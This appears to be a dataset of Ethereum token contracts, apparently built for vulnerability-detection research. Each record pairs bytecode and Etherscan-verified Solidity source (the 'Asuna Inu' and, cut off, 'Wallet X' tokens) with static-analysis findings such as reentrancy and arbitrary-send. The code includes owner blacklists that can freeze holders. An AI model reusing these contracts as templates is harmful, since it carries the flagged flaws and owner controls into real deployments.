5614036576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d7b044b6896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015613fb457600080fd5b505afa158015613fc8573d6000803e3d6000fd5b505050506040513d6020811015613fde57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614034573d6000803e3d6000fd5b505b5b600061404c82846142d390919063ffffffff16565b90506000811115614167576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a47d29cb8a6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156140e557600080fd5b505afa1580156140f9573d6000803e3d6000fd5b505050506040513d602081101561410f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614165573d6000803e3d6000fd5b505b50505050505050505b50565b600080821115156141ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b600082848115156141f957fe5b0490508091505092915050565b60008083141561421957600090506142cd565b6000828402905082848281151561422c57fe5b041415156142c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f81526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b809150505b92915050565b600082821115151561434d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fea165627a7a72305820018e9db6fc87de3b4ec6751ef408a6dbf1f5884a0acfe1bee5d98f034c62d8640029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,426
0x3b3e6196c26148270363b78221afa7539a556bf6
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ /* Asuna Inu is an anime ERC20 token with the name inspired by Asuna Yuuki, a character from the popular Japanese series “Sword Art Online”. Asuna is a kind and helpful young woman who, similarly to Kirito, cannot abandon another in trouble. She takes the game very seriously and is determined to clear it before Kirito tells her to enjoy SAO a bit. Asuna is also somewhat proud and despite her kind personality, she will not hesitate to get physical with those that challenge her authority or make fun of her abilities. Asuna Inu token is a community-oriented project. The biggest selling point of Asuna Inu is that we offer passive rewards to our holders with a 2% tax redistribution for all transactions. Nonetheless, this token is designed with a deflationary function and it is achieved by our special burn function. https://asunainutoken.com https://t.me/asunainuportal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract ASUNA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Asuna Inu"; string private constant _symbol = "ASUNA"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(4); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (2 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f1578063cf0848f714610406578063cf9d4afa14610426578063dd62ed3e14610446578063e6ec64ec1461048c578063f2fde38b146104ac57600080fd5b8063715018a6146103265780638da5cb5b1461033b57806390d49b9d1461036357806395d89b4114610383578063a9059cbb146103b1578063b515566a146103d157600080fd5b806331c2d8471161010857806331c2d8471461023f5780633bbac5791461025f578063437823ec14610298578063476343ee146102b85780635342acb4146102cd57806370a082311461030657600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b657806318160ddd146101e657806323b872dd1461020b578063313ce5671461022b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cc565b005b34801561017e57600080fd5b506040805180820190915260098152684173756e6120496e7560b81b60208201525b6040516101ad9190611906565b60405180910390f35b3480156101c257600080fd5b506101d66101d1366004611980565b610518565b60405190151581526020016101ad565b3480156101f257600080fd5b50678ac7230489e800005b6040519081526020016101ad565b34801561021757600080fd5b506101d66102263660046119ac565b61052f565b34801561023757600080fd5b5060096101fd565b34801561024b57600080fd5b5061017061025a366004611a03565b610598565b34801561026b57600080fd5b506101d661027a366004611ac8565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a457600080fd5b506101706102b3366004611ac8565b61062e565b3480156102c457600080fd5b5061017061067c565b3480156102d957600080fd5b506101d66102e8366004611ac8565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031257600080fd5b506101fd610321366004611ac8565b6106b6565b34801561033257600080fd5b506101706106d8565b34801561034757600080fd5b506000546040516001600160a01b0390911681526020016101ad565b34801561036f57600080fd5b5061017061037e366004611ac8565b61070e565b34801561038f57600080fd5b506040805180820190915260058152644153554e4160d81b60208201526101a0565b3480156103bd57600080fd5b506101d66103cc366004611980565b610788565b3480156103dd57600080fd5b506101706103ec366004611a03565b610795565b3480156103fd57600080fd5b506101706108ae565b34801561041257600080fd5b50610170610421366004611ac8565b610965565b34801561043257600080fd5b50610170610441366004611ac8565b6109b0565b34801561045257600080fd5b506101fd610461366004611ae5565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049857600080fd5b506101706104a7366004611b1e565b610c0b565b3480156104b857600080fd5b506101706104c7366004611ac8565b610c48565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104f690611b37565b60405180910390fd5b600061050a306106b6565b905061051581610ce0565b50565b6000610525338484610e5a565b5060015b92915050565b600061053c848484610f7e565b61058e843361058985604051806060016040528060288152602001611cb2602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113bf565b610e5a565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016104f690611b37565b60005b815181101561062a576000600560008484815181106105e6576105e6611b6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062281611b98565b9150506105c5565b5050565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016104f690611b37565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062a573d6000803e3d6000fd5b6001600160a01b038116600090815260016020526040812054610529906113f9565b6000546001600160a01b031633146107025760405162461bcd60e51b81526004016104f690611b37565b61070c600061147d565b565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016104f690611b37565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610525338484610f7e565b6000546001600160a01b031633146107bf5760405162461bcd60e51b81526004016104f690611b37565b60005b815181101561062a57600c5482516001600160a01b03909116908390839081106107ee576107ee611b6c565b60200260200101516001600160a01b03161415801561083f5750600b5482516001600160a01b039091169083908390811061082b5761082b611b6c565b60200260200101516001600160a01b031614155b1561089c5760016005600084848151811061085c5761085c611b6c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a681611b98565b9150506107c2565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016104f690611b37565b600c54600160a01b900460ff1661093c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f6565b600c805460ff60b81b1916600160b81b17905542600d819055610960906078611bb3565b600e55565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016104f690611b37565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016104f690611b37565b600c54600160a01b900460ff1615610a425760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611bcb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2e9190611bcb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611bcb565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c355760405162461bcd60e51b81526004016104f690611b37565b600f811115610c4357600080fd5b600855565b6000546001600160a01b03163314610c725760405162461bcd60e51b81526004016104f690611b37565b6001600160a01b038116610cd75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f6565b6105158161147d565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2857610d28611b6c565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da59190611bcb565b81600181518110610db857610db8611b6c565b6001600160a01b039283166020918202929092010152600b54610dde9130911684610e5a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e17908590600090869030904290600401611be8565b600060405180830381600087803b158015610e3157600080fd5b505af1158015610e45573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ebc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f6565b6001600160a01b038216610f1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f6565b6001600160a01b0382166110445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f6565b600081116110a65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f6565b6001600160a01b03831660009081526005602052604090205460ff161561114e5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f6565b6001600160a01b03831660009081526004602052604081205460ff1615801561119057506001600160a01b03831660009081526004602052604090205460ff16155b80156111a65750600c54600160a81b900460ff16155b80156111d65750600c546001600160a01b03858116911614806111d65750600c546001600160a01b038481169116145b156113ad57600c54600160b81b900460ff166112345760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f6565b50600c546001906001600160a01b0385811691161480156112635750600b546001600160a01b03848116911614155b8015611270575042600e54115b156112b7576000611280846106b6565b90506112a0606461129a678ac7230489e8000060026114cd565b9061154c565b6112aa848361158e565b11156112b557600080fd5b505b600d544214156112e5576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f0306106b6565b600c54909150600160b01b900460ff1615801561131b5750600c546001600160a01b03868116911614155b156113ab5780156113ab57600c5461134f9060649061129a90600f90611349906001600160a01b03166106b6565b906114cd565b81111561137c57600c546113799060649061129a90600f90611349906001600160a01b03166106b6565b90505b600061138982600461154c565b90506113958183611c59565b91506113a0816115ed565b6113a982610ce0565b505b505b6113b98484848461161d565b50505050565b600081848411156113e35760405162461bcd60e51b81526004016104f69190611906565b5060006113f08486611c59565b95945050505050565b60006006548211156114605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f6565b600061146a611720565b9050611476838261154c565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114dc57506000610529565b60006114e88385611c70565b9050826114f58583611c8f565b146114765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f6565b600061147683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611743565b60008061159b8385611bb3565b9050838110156114765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f6565b600c805460ff60b01b1916600160b01b17905561160d3061dead83610f7e565b50600c805460ff60b01b19169055565b808061162b5761162b611771565b60008060008061163a8761178d565b6001600160a01b038d166000908152600160205260409020549397509195509350915061166790856117d4565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611696908461158e565b6001600160a01b0389166000908152600160205260409020556116b881611816565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116fd91815260200190565b60405180910390a3505050508061171957611719600954600855565b5050505050565b600080600061172d611860565b909250905061173c828261154c565b9250505090565b600081836117645760405162461bcd60e51b81526004016104f69190611906565b5060006113f08486611c8f565b60006008541161178057600080fd5b6008805460095560009055565b6000806000806000806117a2876008546118a0565b9150915060006117b0611720565b90506000806117c08a85856118cd565b909b909a5094985092965092945050505050565b600061147683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113bf565b6000611820611720565b9050600061182e83836114cd565b3060009081526001602052604090205490915061184b908261158e565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061187b828261154c565b82101561189757505060065492678ac7230489e8000092509050565b90939092509050565b600080806118b3606461129a87876114cd565b905060006118c186836117d4565b96919550909350505050565b600080806118db86856114cd565b905060006118e986866114cd565b905060006118f783836117d4565b92989297509195505050505050565b600060208083528351808285015260005b8181101561193357858101830151858201604001528201611917565b81811115611945576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051557600080fd5b803561197b8161195b565b919050565b6000806040838503121561199357600080fd5b823561199e8161195b565b946020939093013593505050565b6000806000606084860312156119c157600080fd5b83356119cc8161195b565b925060208401356119dc8161195b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1657600080fd5b823567ffffffffffffffff80821115611a2e57600080fd5b818501915085601f830112611a4257600080fd5b813581811115611a5457611a546119ed565b8060051b604051601f19603f83011681018181108582111715611a7957611a796119ed565b604052918252848201925083810185019188831115611a9757600080fd5b938501935b82851015611abc57611aad85611970565b84529385019392850192611a9c565b98975050505050505050565b600060208284031215611ada57600080fd5b81356114768161195b565b60008060408385031215611af857600080fd5b8235611b038161195b565b91506020830135611b138161195b565b809150509250929050565b600060208284031215611b3057600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bac57611bac611b82565b5060010190565b60008219821115611bc657611bc6611b82565b500190565b600060208284031215611bdd57600080fd5b81516114768161195b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c385784516001600160a01b031683529383019391830191600101611c13565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6b57611c6b611b82565b500390565b6000816000190483118215151615611c8a57611c8a611b82565b500290565b600082611cac57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220414fdc9cce82726726a0e7ff81b1e746b108104da8a5660b43d458f0cef7693364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,427
0x7dc27a216673b07dd6d865cc391775665cdeccb0
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: Unlicensed // Twitter // https://twitter.com/WalletXOfficial // Website // https://walletx.tech/ // Telegram // https://t.me/walletxportal pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WALLETX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Wallet X"; string private constant _symbol = "WALLETX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 33; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress 